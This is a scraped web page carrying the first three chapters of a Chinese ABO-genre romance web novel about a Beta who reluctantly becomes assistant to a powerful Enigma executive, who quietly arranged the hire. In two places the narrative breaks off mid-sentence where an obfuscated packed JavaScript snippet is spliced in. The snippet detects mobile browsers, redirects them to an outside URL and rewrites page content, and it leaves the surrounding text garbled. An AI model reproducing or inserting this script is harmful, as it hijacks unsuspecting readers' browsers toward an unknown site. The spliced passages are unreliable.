《美人Beta被偏执上司标记了》 1. 第 1 章 “许韵的家属是吗?过来坐。” 桌面上堆叠着凌乱的纸页,电脑屏幕上显示着腺体的监测数据和CT影像。 医生扶了扶眼镜,语气有些沉重:“你母亲的腺体正在极速恶化,保守治疗的方案已经行不通了,必须手术切除腺体。” Beta青年坐在对面的椅子上,柔软的黑发垂在脸侧,两手安静地覆着膝盖。 虽然几天前就已经见过了,但又一次看清面前这个清瘦的年轻人,医生的大脑还是很诚实地卡顿了几秒。 一幅清隽的大学生模样,皮肤白皙得几乎透明,神情冷淡,天然带着几分疏离感,似乎不太喜欢与人过分亲近。 很冷,但实在好看。 医生不自觉放缓了语气,低低道:“你是Beta,无法给病人提供适合的信息素,因此我们只能采取另外的手段进行治疗。” “术后,患者需要终生注射人工信息素制剂,来代替腺体分泌的信息素,维持神经系统正常运转。” 人工信息素制剂的合成技术过于复杂,垄断在几个庞大的集团手中,生产成本高,价格也异常昂贵。 再加上腺体手术的费用。 积蓄基本就掏空了。 许知桉沉默几秒,微微点头:“好的,我知道了。” 听见这句,医生感到有些意外。 声音听起来倒不像长相一样冷,反而显得有些温和柔软。 不像刚刚听闻了一桩噩耗,倒像是和别人聊了几句很寻常的天。 像一只不容易被惊动的温顺动物。 许知桉拿着报告走出诊室,站在门诊部门口,注视着屋檐下连成线低落的、冰冷的雨滴,几不可闻地叹了一口气。 看来没办法了。 他拿出手机,发了条微信:【学长,关于上次内推的事情,可以再找时间聊一下吗?我现在改变主意了。】 事实上,这位学长已经快两年没联系了。 在许知桉上个月被裁、在朋友圈发了一条求职信息后,他却很快私聊过来,问许知桉有没有兴趣转行,来元枢集团应聘总助。 当时出于某些顾虑,许知桉并没有第一时间答应。 但现在母亲病重,不得不重新考虑这个机会了。 许知桉撑开伞,想离开门诊部,口袋里的手机却突然接连不断地震动起来。 他有些纳闷地停下动作。 学长:【你改主意了?!】 学长:【太好了,那我们见一面,尽快把事情定下来?你什么时候有空?】 许知桉看着消息,缓缓皱眉,迟疑了几秒才回复。 许知桉:【方便的话,我明天请学长到学校附近吃饭?】 学长:【今天不行吗?我现在就有空的。】 学长:【你有时间的话,今天下午怎么样?或者今天晚上。】 看着消息,许知桉眉头皱得更深了。如果他有兔子耳朵,这会儿就应该缓慢而警惕地竖起来了。 不是错觉,之前就这么觉得。 学长对于他去应聘这件事,殷切得不正常。 简直比许知桉这个刚被优化的人还要急切,恨不得拿个麻袋把他兜过去上岗似的。 在许知桉的记忆里,这位学长明明是不太爱社交、也不爱管别人事情的人,这会儿却仍在强烈要求,能不能下午跟许知桉约在咖啡厅,谈一谈转行入职的事。 内心那股隐隐的戒备又升了起来,让许知桉有些抗拒这次会面,还有这个充满未知的工作岗位。 但他回头看了一眼紧闭的病房,又看了看昏暗的天空,再次小小地叹了口气。 虽然总觉得哪里不对,但应该也不会有什么大问题。 一个岗位而已,总不能把他吃了……吧? 那就去吧。 - 咖啡厅。 许知桉安静地坐着,捧着温热的白瓷杯子发呆。这个月他过得实在是焦头烂额,少有这样可以独处的时候。 思绪忍不住渐渐飘远。 作为同龄人眼中可望而不可及的佼佼者,他在大学时就很有自己的规划,履历漂亮至极,毕业后顺利拿到互联网大厂的offer。 实习后转正,薪资不菲,年纪轻轻就有了一笔自己的存款。 生活平静而有盼头,却被一纸突如其来的病危通知书打破。 支付完保守治疗的费用后,原本富足的积蓄变得岌岌可危,只够维持日常基本花销。 有时候不怕倒霉,就怕倒霉的事情一件接一件。 许知桉的合租室友、也是他在大学里认识了四年的好朋友,以他的身份在暗网倒卖AO违禁药剂,且交易额不小。 被警察敲开门的时候,室友早就闻着风声跑了,许知桉和警察面面相觑,大脑难得地有些空白。 真正的犯人很快落网,他却还是觉得很郁闷。 母亲生病,室友还做出这种事情,情绪再稳定也会忍不住难过。 最重要的是,室友的房租还没交完呢! 许知桉的长租合同是十个月,还有几个月才到期,那笔押金对他来说不低,换房子的话又是一笔开销。 咬牙付了双倍房租,结果还没住够一个月,噩耗再次传来。 公司的项目失败,需要合并部门、整合业务线,只能被迫裁员。 许知桉作为转正还不足一年的新员工,首当其冲,被优化了。 虽然拿到了赔偿,可失去了稳定的月收入,这对当时的他来说,这简直是当头一棒。 砸得他人都懵了。 想着想着,许知桉有点郁闷,缓慢地喝了一口咖啡,视线不自觉转移到了右上方的另一张桌子上。 这个客人是个十分惹眼的男性。 他面前摆着平板,看起来是在开视频会议,并不会留意到许知桉投过去的视线。 这让许知桉觉得安全,放心地继续观察下去。 许知桉的上一份工作需要经常和甲方打交道,客户来自天南地北,性格各异。 当然也包括各类性别。 这个男人身高目测超过一米九,包裹在风衣下的肌肉悍然有力。 许知桉看不到他的正脸,只能看见在键盘上偶尔敲动的手指骨节,带着薄茧,锋利而有攻击性,青色的血管在手背皮肤下微微凸起。 只是坐在那里,就给许知桉一种隐含进攻性的压迫感。 是个Alpha。 许知桉在心里默念,然后又移开视线,并没有产生什么特别的感觉。 他是个Beta,且择偶意愿不强,对性别不是很敏感上心。 观察的结果只是用于打发等人的时间,多的想法就没有了。 学长急匆匆来到座位边的时候,看到这个许久未见的Beta学弟,在用某种研究论文课题一样的、冷漠而专注的目光,盯着不远处。 五官精致得不似真人,漂亮却让人觉得缺乏温度。 他在旁边站了几秒,才猛地回神,拉开椅子坐下。 并默默把手环摁到了最高档。 许知桉这才注意到他,跟他礼貌地打招呼,视线落到Alpha的手环上。 学长戴的手环是浅灰色的。 许知桉虽然是Beta,但也学习过基本的AO生理知识,对不同颜色的手环功能有所了解。 白色、浅灰色、深灰色、黑色。 颜色越深,手环对Alpha信息素的抑制能力也就越强。 级别不同的Alpha,佩戴的手环颜色也不同,这在某种程度上成为了Alpha身份地位的一个象征。 不过,并不是戴着黑色手环的S级Alpha就最受异性青睐。 级别高,确实意味着基因优异、血脉高贵,能够诞下能力和血统都最出色的后代。 但这也意味着,这类Alpha的情绪极度不稳定。*能力和*需求,都暴烈得令绝大多数人无法承受。 大众也就干脆对这一类披着人皮的精神病敬而远之。 即便是生理素质足够优越、极其罕见的S级Omega,也难以承受这种程度的侵略欲和控制欲。 更不要说Beta。 不过,这些与许知桉都没有关系。 他对婚恋暂时没有兴趣,不用考虑自己与Alpha之间契合程度的问题。 许知桉兴趣缺缺,把视线从学长的手环上收回去。 学长喝了一口面前的咖啡,把一份文件推过来:“这是大概的工作内容,都不难上手,相信以你的工作能力,一周左右就能完全适应。也不用担心专业不适配的问题。” “薪资问题就更不用担心了,具体的数字我不方便说,但你心里应该也有数。” 薪水方面,元枢确实大方。 许知桉自己稍微调查过,扣除各项之后到手六万上下,比他的前东家优厚了不少。 许知桉其实不抗拒转行,只要是往上走的,他并不拘泥于自己的专业领域,各行各业都乐意尝试。 但还是有一个尚未解决的重要问题。 许知桉把文件合上,略微迟疑了两秒后,温声开口:“学长,我有个可能有些冒昧的问题。你这么急着想让我上岗,是每个季度有什么内推的指标……吗?” 他知道出于礼貌、专业,这种问题不该问。 但考虑了很久,还是想再确认一下。 上岗之前要充分了解岗位职务和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424291|200863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同事的大概情况,这是许知桉的个人习惯。 因此,在学长先前提出邀请的时候,他就对这位从不露脸的元枢执行总裁进行了一些简单的调查。 调查结果十分糟糕。 许知桉认识的业内人士里,在元枢工作过、或者和元枢有过合作的人都表示,这个Alpha的工作能力非常强,但他对下属的态度极端严苛。 他手底下的助理,没有一任能在转正后干满两个月。 全都主动或被动地离职了。 学长顿了几秒,动作有些不自然地捏着杯子,干笑道:“这当然没有,只是我觉得机会难得,应该邀请你来的,哈哈。” 许知桉点点头:“嗯,谢谢学长,我知道了。” 许知桉面上十分平静,实际上已经头疼得不行。 甚至还有这种不合理的指标吗? 完不成就把人逼到学长这样神经紧绷的那种? 更恶劣了。 许知桉平淡着一张脸,心里默默给这人扣分,打了个叉。 这种上司实在让人无语,而且他手上还有别的offer可供选择,当时妈妈也没有病情恶化,许知桉怎么也不想让自己的职业生涯走到这一步。 但现在积蓄空了,为了维持生计,不得不摊上这个坏脾气的新上司。 许知桉在心里叹了口气。 幸好他是个Beta,闻不到Alpha的信息素。 任凭上司怎么发疯,他只要像以往那样无视就行。 信息素干扰不到他的情绪,应该可以勉强忍耐。 - 学长有事先离开了,许知桉又坐了一会儿,才起身离开咖啡店。 走到店门口的屋檐下面,看见雨还没停,许知桉才反应过来,自己是把雨伞忘在座位上了。 他以前很少犯这种记忆性的错误,但最近一个月却屡屡走神。 太疲惫了。 医院还有一堆事情等他去解决,妈妈的病让人时刻放不下心。 现在又要到一个无良上司手底下工作。 混杂着雨水气味的风扑在脸上,很凉。 许知桉被吹得眯了眯眼睛,神经放松了些,困意上涌。 他昨晚陪床连轴转,只睡了四个多小时,今早又被告知妈妈必须手术,累得整个人都处在某种临界的边缘。 迷糊着站了两分钟,许知桉才缓缓转身,准备到店里拿自己的雨伞。 刚转过身,许知桉的动作就猛地顿住。 对方似乎也没料到他会在这个时候突然转身,上前的脚步停住,十分克制地后退半步,和许知桉保持一个不远、但也还算安全的距离。 许知桉比对方体型小太多,整个人都小一圈。 第一时间看到的是灰色风衣的笔挺廓形,微微仰头才看清了男人的脸。 眉眼冷淡深邃,鼻梁立体得不像本国人,那双过分深邃黑沉的眸光落在他的脸上,让许知桉下意识感到危险。 成熟,沉稳,非常英俊。 但好像……好凶。 许知桉小小地咽了一口唾液,后退了半步。 男人的目光在许知桉身上停留几秒,看不出情绪,像在打量一只无害又很警惕的小动物。 “你的雨伞。” 男人把还有些微湿的白色折叠伞递给许知桉,声线平稳低沉。 年龄不算很大,却有种隐晦的、执掌者独有的气质,可能是某个领域崭露头角的新锐。 许知桉又得出了新的观察结论。 许知桉礼貌道谢,伸手想把雨伞接过来,某个有些突兀的念头却在他脑海里一闪而过。 虽然对Alpha们的信息素级别完全没有兴趣,但他突然有些好奇。 这个偶遇到的男人,他的手环等级会是多少? 连自己这个Beta,都能在对方毫无恶意的情况下,有一种被觊觎、被剥开的错觉…… 许知桉总觉得,对方会是个S级Alpha。 Alpha已经不多见了,还是个S级。 堪称珍稀物种。 很难不产生好奇心。 许知桉抿了抿唇,眼睛微动,视线悄悄下移。 手环通常要佩戴在左手,这样不影响工作和写字。而男人给许知桉递雨伞的手就正好是左手。 许知桉看清了对方的左手手腕。 什么都没有。 Beta颜色稍浅的瞳孔微微收缩了一下,迟疑半秒,又转去看这人的右手。 还是什么都没有。 隐隐浮现着青筋的手腕上,没有任何强制束缚,空空荡荡。 许知桉这下实打实地愣住了。 ……嗯? 2. 第 2 章 许知桉是Beta,从未感受过信息素对于少数性别的可怖支配性。可即便如此,他也不至于对高级Alpha们的潜在危险一无所知。 受信息素支配的动物,竞争和掌控是他们的天性,无时无刻不在争夺配偶、金钱、地位和荣誉。 级别越高,越容易失控。 一般来说,只要达到A级,Alpha就需要时刻佩戴手环、必要时注射抑制剂,来压制信息素带来的生理欲望。 按常理来说,没有任何一个功能正常的高级别Alpha能够脱离抑制设备,自主地控制信息素。 可面前这个人…… 许知桉迟疑地眨了下眼睛。 他能想出的理由有三种:一是他弄错了,这人并不是高级别的Alpha,只是普通的B级,不需要佩戴抑制设备,二是这个人忘记了,三是这个人很不守规矩,不愿意戴。 许知桉首先排除了第一种。 不可能看错。 先不说他的观察能力很强,这个男人长得太高大了,肩颈线条平直利落,气质上就和普通的Alpha不同,长相又是无可指摘的英俊。 从任何角度审视,他的信息素级别都只高不低。 主动帮他拿了雨伞,语气也很平和,又实在不像是那些不守规矩、在路上随便对人发难的激素生物。 这两种都不是。 那就是忘记戴了吧。 许知桉没有意识到,这人比他高近二十厘米。从男人的视角,能够清楚地看见许知桉的发顶、白皙干净的脖颈,以及那双盯着他的手看,却又显得冷淡疏离的漂亮眼睛。 见他不动,男人便站在原地,神情坦然,淡定配合着面前的Beta。 大概是在外面站了很久,男人能闻到对方身上雨水和风混杂着的浅淡气息,与他的性别莫名相配。 长相也偏冷,还板着脸。 是要说什么很严重的事? 男人垂眸,不甚在意地推测着。 过了一会儿,他却听见对方用很认真的语气道:“你忘记戴手环了,这样很不安全,如果没有别的事要办的话,尽快回家比较好。” “真的很危险的。”许知桉仰着脸,忍不住补充,“以后要多留意。” 男人默然几秒,随即低低笑了一声。 许知桉不解:“怎么了?” 男人开口,声音带着低微笑意:“没什么……谢谢提醒,我以后会注意。” 看来就是忘记戴了,没猜错。 能帮到对方,许知桉心情不错,表情也变得生动了些,浅茶色的瞳孔微微发亮。 “晚上还会降温。”男人的视线在许知桉脸上停留了一瞬,“回去之后多穿一些。” 被反过来关心一句,许知桉有点意外。毕竟是第一次见面,这个Alpha好像有点过分周到了。 但他还是点点头,由衷道:“好的,你也是。” 男人不再多言,推开咖啡厅的门,在一阵清脆的风铃声中走入大雨,很快消失在停车场的转角。 许知桉看着他离开的方向,心想,这似乎是一个很心细,又很好相处的Alpha。 ……哎。 莫名联想到未来的老板,许知桉又忍不住头痛,抬手揉揉眉心。 怎么对方就不能是这样的Alpha呢? 沟通效率会提高,工作环境也能变得舒心很多。 不过,决定好的事,即便不情愿,许知桉也不会再过多抱怨。 很快又恢复到了平日里情绪不多的样子。 到医院的网约车停在了门口,他撑开伞,安静地走进了茫茫雨幕。 - “桉桉,没有别的工作机会合适了吗?” “我听说元枢的工作强度很大,历代掌权人又都是Alpha……压力会不会太大了?而且当助理,难免要跟老板经常接触,万一碰到个的S级的上司怎么办?太危险了。” 许韵的语气轻柔而担忧,说到这的时候,许知桉正坐在她病床边上削苹果。 Beta柔顺的额发落在脸上,微低着头,浅茶色的眼睛随着手指微动,显得安静又专注。 “我是Beta,影响不到我的。”他安抚道,“只要不被信息素压制,Alpha对其他人的威胁也没有这么大。” “那也不行……光是体力差距就太大了。”许韵仍不放心,“如果真的出了意外、他想要压制你,你根本没有还手的可能性,连出声求救的机会都不会有。” 许韵的腺体病变严重,面色苍白,因为担心而显得更没有血色。 “再考虑一段时间,多了解一下这个上司的信息,确认没有危险了再去,好吗?” 许知桉看着她这幅草木皆兵的样子,忍不住笑了笑,安抚地拍了拍妈妈的肩膀。 “好,我会的,您别太紧张。” 其实没有这么严重,换个工作而已,不至于弄出生命危险。 顶多是这位上司太难伺候、对自己不满意,几个月后被解雇。 许知桉对此不太在意。 现在急需要用钱,既然有机会,多挣一些也是好的。 客观地说,许韵的担心其实不无道理。 哪怕Beta不会对信息素本能地臣服,光是体格和体力的恐怖差距,对方就有能力让他沦陷,将他囚于疯狂交pei、暗无天日的巢穴之中。 可能性确实存在,但这种可能性非常小。 Alpha大多还是愿意选择Omega作为伴侣。 尤其是顶A。 信息素本来就不稳,如果伴侣再没有安抚能力,可以想见易感期会失控成什么样子。 简直是自寻死路。 用上半个月,估计都没法和伴侣从房间里走出去。 所以,上司是不会对自己起任何歹念的。除了性格上的矛盾,许知桉不认为自己需要对新岗位过分担忧。 他把苹果切成小块,给妈妈拿了根竹签。 许韵知道说不过他了,安静地叹了一口气,接过碗。 “桉桉,你吃饭了吗?都八点了。” 许知桉看了眼外面黑下去的天色,才迟钝地感觉到胃部发胀。 “吃了,回来之前在外面吃的。” “好了,连你妈妈都想骗?”许韵嗔怪地看了他一眼,“总是这么不注意身体,还不快去。” 责怪得不冤枉,许知桉事业心太重,一工作起来就不分白天黑夜,总忘记吃饭,前两年就落下了胃病。 医院食堂里已经没几个人了,许知桉找了个干净的角落,坐下用餐。 他吃饭不快,细嚼慢咽,等收起餐盘的时候,已经过去了二十五分钟。 胃部也因为食物的进入而略微好转,没那么疼了。 许知桉把餐具放好,铃声响起,他低头接了电话。 是学长的声音:“知桉,我这边的手续都已经办好了,你那边处理好了吗?什么时候方便入职?” 许知桉:……? “没有其他的程序了吗?”他有些迟疑地开口。 “没有了,这边都已经定下来了,你尽早来公司就好,有什么不方便也随时跟我提。” “……好的,我这边没问题。” “没问题的话下周一见?我把需要提前熟悉的资料发给你,你看一下。” “好的,回见。” - “好久不见啊,傅大少。” 穿着白大褂的人慢吞吞道,“除了每个月的例行体检,你什么时候能想起我这个医生呢?” 褪去在外的装饰,傅执周身的气质重新变得漠然,漆黑的眼珠浓稠如墨,在诊室冷白的灯下,几乎看不出人类的正常情绪波动。 方旭接过他手里的体检报告,收起懒洋洋的样子,唇角绷着,开始一项一项地排查。 和过往几个月完全一致。 报告上的所有数据都很正常,彰显着傅执健康的体质、精神状态,以及强悍到几乎变态的生理能力。 除了信息素浓度这一项。 比正常平均值高出十二倍。 方旭是傅执成年后,唯一负责他体质检测的医生。只有他能亲眼看到数据,并且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424292|200863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道这意味着什么。 男人不是Alpha。 而是极端少见、极端偏执,比S级Alpha还要危险数倍的Enigma。 方旭现在是习惯了,当年刚接触傅执的时候,哪怕傅执控制得极好、一点信息素都没有外泄,他也抗不太住,靠近就会觉得心慌、焦躁。 “这个月也没有任何信息素波动吗?” “嗯。” “……” 方旭额角青筋直跳,缓缓出了一口气:“行吧,但愿你是真的平静,而不是已经到了发疯的边缘了……站到那边,测臂力。” 肌肉力量不是仪器能测出的,但也是衡量身体状况的重要指标,需要手动测试。 过了一分多钟,方旭看着已经升到顶的数值屏幕,麻木道:“用力,用全力。” 傅执不再收力。但他还远没有使出全力,手里的仪器就已经发出了急促的警报声,表示再握下去就要故障了。 “行了停手!不用测了,这个月也健康得不得了,收拾收拾回去吧。” 方旭动作幅度夸张地叹了口气,在报告上写上数值,签名确认。 和A一样,Enigma是天生的掠夺者,热衷于角逐、争斗,喜欢用强悍的体质和信息素,对同类和配偶绝对压制。 但傅执眼中看不出一丝兴味,仿佛这些恐怖的身体数值与他完全无关。他整理了一下衣服,颔首道:“嗯,辛苦。” 等下公司还有个会,他准备离开。 方旭还在絮叨:“我知道你不想像狗一样发I情,觉得这样像个动物……但这是天性,Alpha都是这样的,更不要说是Enigma了对吧?你……” 傅执一如既往地忽视,没有仔细听方旭在说什么,抬步离开。 快到门口又突然想起某件事,身形停了一瞬,折返回来。 “给我一个抑制手环。” “长期压抑下去,你以为你是真的正常了吗?你最后只会疯……”方旭卡壳了几秒,不敢置信道,“你说什么?” “抑制手环。”Enigma重复了一遍。 方旭紧紧皱着眉:“你不是说没有过信息素波动吗?要那个做什么?” 傅执:“今早有过一点,以防万一。” 话音刚落,方旭就感觉到自己的心脏重重一跳,本能的警报在大脑里瞬间疯狂拉响。 他是个A级,机能已经相当优秀,竟然只因为一句话,就本能性地感到恐惧。 和一个有失控可能性、且没有任何束缚器具在身的Enigma共处一室,任何人都会惊惧。 “……” 方旭深呼吸了几下,脸色难看,再开口时声音发哑:“除了这个,还有没有其他失控的迹象?如果你不能像你说的那样完全控制住本能,那就必须听我的,佩戴抑制设备,减用抑制剂。” 看着对方这幅如临大敌的样子,傅执有些无奈:“不用,能控制。” 方旭不敢轻易相信:“那到底为什么会波动,你遇到谁了?” “我的助理。”傅执言简意赅,“带手环是为了让他安心一些,没有真的失控。” 提及此事,男人回想起上午的画面。 Beta转过身时,差点一头撞进他怀里。 随即满脸严肃,非常认真地提出关心。 在与他交谈的时候,傅执的的确确,短暂地放出过一些信息素。 但极其浅淡,完全在可控范围内。 因此,傅执认为不必深究原因。 看他确实没有失控,方旭一颗悬在刀尖上的心脏才敢落地,抹了把冷汗。 “那你拿吧,反正我说什么你都不会听……” 方旭拆出一个新的手环递给傅执,斜了他一眼。 “你敢保证不会因为你的助理失控吗?如果会,最好换个共事的对象,不然风险很大。” Alpha医生紧盯着他,生怕错过傅执的一点表情变化。 接着他听到对方说:“不会。” “以后也不会。”傅执戴好手环,嗓音平静,“放心。” 3. 第 3 章 给许知桉介绍了岗位的学长,关潭,当晚就整理好需要的资料,打包发到了许知桉的私人邮箱。 关潭:【都在这里了,包括工作内容、傅总跟进中的重要项目,以及他的一些个人习惯。】 许知桉:【好的,谢谢学长。】 关潭:【确定没问题了,下周一可以就位吧?】 许知桉:【确定的。】 看着这句消息,坐在家中书桌前的Alpha缓缓靠到椅背上,摁着有些许沉闷的胸口,面色凝重,无声地长出了一口气。 ……可算完成任务了。 一桩大事落地,关潭几乎有种劫后余生的脱力感。 他撑着额头,苍白着脸,回忆起一个月前和上司的那番谈话。 大楼顶层的办公室里,他在跟这位上司汇报这一季度的工作情况。 傅执的目光静静落在手里的表格上。 举止克制、礼貌,却仍含着某种难以掩盖的侵略性。 见到傅执的第一眼,关潭就知道,这人是一个Alpha。 级别绝不会低。 关潭自己也是Alpha,相对于Omega和Beta来说,他对同类的级别判断更加精准。他下意识便认为,傅执是一个S级的Alpha。 可在就任几年之后,关潭对自己的判断产生了一些疑虑。 S级Alpha确实少见,但关潭也不是完全没接触过。 比起他们,傅执身上的侵略性和压迫感,似乎更为隐晦,也更可怖。 更诡异的是,在公司任职多年,关潭就没见他戴过手环、佩戴过止咬器。 不用相对温和的手段控制发I情,那他用什么? 纯靠打抑制剂吗? 这得有多痛苦,疯子吗? 关潭光是想想就恶寒不已。 总之,这个人的级别高得难以预估,却能在没有伴侣、也不佩戴设备的情况下克制住暴烈的xing欲,像个Beta一样全然理智…… 简直,像某种层层伪装后,隐晦地融入人类社会的怪物。 想到这里,关潭脸色更加惨白,长出了一口气,才继续回忆当天的事。 汇报完季度工作后,傅执拿出一份简历递交给他。 简历上的照片,关潭印象非常深刻。 是他上大学时那个长得过分漂亮的Beta学弟,许知桉。 证件照里,Beta穿着修身的正装,额发柔顺地垂落着,长睫微掀,看向镜头的眼神不带太多情绪,显得这张脸更加冷淡、精致。 像某种精心摹画的人偶。 过分好看,反而有种不真实感,令人不太敢主动接近。 “你和他在社团共事过,应该留有联系方式。”傅执言简意赅,“一个月内,想办法让他来任职助理。” 听见老板这番话,关潭回想起来了,人事那边最近确实在物色新总助,挖人的推荐名单里就有许知桉。 不过关潭有点意外,怎么会挑了他这个学弟? “傅总,我和他已经好几年没有联系过了。而且他的专业方向是软件工程,对集团的事务不了解,也没有助理的工作经验。这个岗位选他,是不是……” “不太合适”还没说出口,Alpha的后背陡然渗出了一层冷汗。 像被掐住了脖子,突兀地噤声。 傅执并没有释放信息素,神态也没有变化,但关潭可以感觉到对方突然的不悦。 两者间存在绝对的等级压制,再开口时,Alpha的声线已经干涩嘶哑:“……明白了,我这就去办。” “嗯。”傅执收回视线,“他过往的履历很漂亮,能力不错,可以胜任。” “不要用逼迫的手段,有耐心一些,让他自愿过来。” 呼吸骤然一松,关潭几乎已经听不清上司在说什么。他大口汲取着空气,求生本能疯狂拉响警报,催促他赶紧离开这间办公室。 以最快的速度,关潭开始联系许知桉。 最开始时,许知桉表现得对这个岗位毫无兴趣。关潭为此失眠了快一个月,感觉自己没到中年危机,就要先行失业。 有苦说不出,头发都要被自己抓秃了。 谢天谢地……最后办成了。 危机解除,关潭总算有时间冷静下来,对这件事情的始末重新复盘。 老板突然让许知桉当助理,真的只是看上了他的工作能力吗? 即便在众多人选里,许知桉的能力也非常出色,这不假。但他专业不适配、经验不算丰富,直接跨行当总助,从哪个角度看都称不上是合乎情理的安排。 ……是对这个Beta有好感吗? 毕竟脸长成这样,无论谁对他产生想法,都再正常不过。 但很快,关潭把这个荒唐的猜测在自己脑海中抹去了。 不可能。 许知桉对于傅执来说绝不是适配的选择。 顶级Alpha和Beta,完全不适合在一起。 Beta闻不到信息素,也不能被标记。Alpha们无论怎么努力,也不能彻底占有自己的配偶。 这太违背天性,会让Alpha时刻处在不安、猜忌,和严重的分离焦虑当中。 时间一久,Alpha就容易对伴侣犯下不可控的恶行。 有些级别太高的,甚至连伴侣的人身自由都想彻底剥夺。 事实上,由于接触过国内顶级的医疗公司,对于某种性别的密辛,关潭也多少听说过一些。 凌驾于Alpha之上,连Alpha都能标记的Enigma。 如果这种bug一样的性别真的存在,那大概是野兽一般的本能动物。 偏执、重I欲到极点。 如果傅执真的…… 想到这里,关潭忍不住抱着手臂狠狠搓了一下,感觉头皮都炸了起来,浑身不适。 莫名地,他对迷迷糊糊就被自己塞进去的许知桉,产生了些许怜悯。 但愿老板看上的真的只是他的工作能力吧。 否则,一个无法永久标记的Beta……能不能承受住这样的怪物,关潭实在有些无法想象。 - 换上宽松的睡衣,许知桉久违地躺在了大床上。 他用脸蹭了蹭身下的枕头,满足地眯起眼睛。 妈妈的手术定在后天,并且改进了治疗方案,情况逐渐好转,能基本保持意识清醒了,疼痛也有所减轻。 陪护的照顾也很周到。 许知桉总算放心了些,今晚没有再睡在病房,乘地铁回家了。 这是妈妈生病以来,许知桉为数不多能在家休息的时候。 骤然放松下来,Beta身上冷淡的气质都散去了几分。 他陷在浅色的床铺里,反倒像主人出了门、放松在家打滚的小动物,蓬松暄软。 为了阅读方便,许知桉把资料都打印了出来。 第一份就是老板的个人信息。 纸页最上方,男人五官清晰的证件照骤然映入眼帘。 许知桉看清楚后,诡异地沉默几秒。 原来那天在咖啡厅遇到的Alpha,就是老板本人吗……?? 怎么会有这么巧的事?这对吗? 许知桉一贯没什么表情的脸难得精彩。 想起那天,他还偷偷在心里把Alpha和未来老板做了对比,他就忍不住扶额尴尬。 救命,还好没有当面说出来。 现在想来,那家咖啡厅在S市很有名气,又离元枢集团大楼车程不到十分钟,确实是在午休时间,享受下午茶的好去处。 应该只是偶然撞见,并非谁的有意为之。 看着资料上那张醒目的照片,许知桉心情复杂。 Alpha的气质和神态,与自己那天看见的完全不同。 轮廓锋利、唇角平直。 明明只是照片,却让许知桉无端有种被凝视、被剥开的错觉,完全谈不上温和。 再结合调查到的信息…… 难不成那天,傅执的温柔体贴是装出来的,其实根本不好相处? 许知桉忍不住猜测。 心情变得有些微妙,他蹙着眉,抱着枕头翻了个身,继续一目十行地看下去。 文字倒映在Beta浅淡的茶色瞳孔中。 【*信息素级别已达高危线,特此标注。若突发易感期,请周边人员立即撤离,不要妄动,尽快联系管理局处理。】 看到资料底下这行加粗的字体,他骤然滞住。 指尖不安地轻轻颤了一下,攥紧纸张。 ABO管理局是由政府、大型医疗企业,以及各方资本共同组建的机构,目的是管控AO少数性别,处理发情期、易感期造成的大规模混乱,维持社会秩序。 失控概率很高、有严重安全隐患的Alpha或者Omega,会被管理局强制加上说明。 看着这行字,许知桉心口发紧,有些不安地抿了下嘴唇。 ……还好他是Beta。 不会被信息素影响,也不能被标记。 除了工作,私底下也不需要和这位上司过多接触。只要避开傅执的易感期,傅执对他就无论如何都造不成影响了。 许知桉稍稍放心了些,接着往下看。 傅执的个人资料不多,有关他生活习惯的记录也只有简单几条,大多还是关于工作。 许知桉很快都背了下来,把这张资料安安稳稳地放好,摆正到床头正中央。发现自己偶然摆出一个特别完美的方位,许知桉满意地盯了它几秒,才继续看第二页。 作为助理,许知桉需要每天为傅执梳理好重要行程,以及堆叠的文件资料。 如果各方时间有冲突,也需要他协调安排,出面安抚合作方。 工作繁多,发过来的资料足足有四十几页。 离正式开工只剩四天,还要陪妈妈手术。 许知桉一刻也不敢松懈。 他是偏谨慎的人,凡事会做好万全准备再行动,很少有这种心里没底的感觉。 感到有些焦躁,他用毛茸茸的睡衣裹住自己,蜷缩在床角,边看边记。 不知道过了多久,放在旁边的手机亮了一下。 许知桉从资料里抬头,揉了一下干涩的眼睛,拿过手机。 是新的联系人申请。 对方的头像冷淡简洁,名字是一个字母“z”。 许知桉愣了一下,才猛地反应过来。几个小时前,学长已经给他推过傅执的联系方式了。 当时他还在医院,没有第一时间加上对方,回到家也没记起来,满脑子只有看资料。 许知桉简直两眼一黑。 工作上竟然出现这种失误……最近真是忙昏头了。 通过申请后,许知桉立刻打了招呼,忐忑不安地等待对方回复。 等着老板主动来加,如果他脾气真的像传闻里那样坏…… 会很尴尬吧。 回复还没发来,许知桉抬眼看了下时间,有点惊讶,竟然看了这么久。 都已经半夜一点多了,怪不得这么困。 看到最后,许知桉眼睛都有些睁不开了,看几页就犯迷糊一下,头脑发晕。 z:【还没有休息吗,很晚了。】 手机振动一下,许知桉赶紧打起精神,点开微信,看清内容之后却怔住了。 ……嗯? z:【在看资料?】 在犯了工作失误后,对方的反应却是这样。许知桉实在是很意外,表情空白,有种不真实感。 他快速回复:【是的。】 z:【嗯。】 z:【早点休息,这些资料不算全面,工作也需要适应时间,不用太着急。】 傅执的语气十分平淡,不算客气,也不算太亲近。 但很奇怪,许知桉焦虑了整晚的情绪,就像一张被平静展开的纸,因为几句话慢慢抚平。 许知桉打了几个字,又删掉。 最后还是官方地回复:【谢谢傅总,我会的。您也早些休息。】 对方没有再回复了,许知桉便也不再多聊。 确实很晚了,资料也看了十几页,足够了。 许知桉坐着缓解了一下困意,才慢吞吞地下床,挪动到浴室里,开始洗漱。 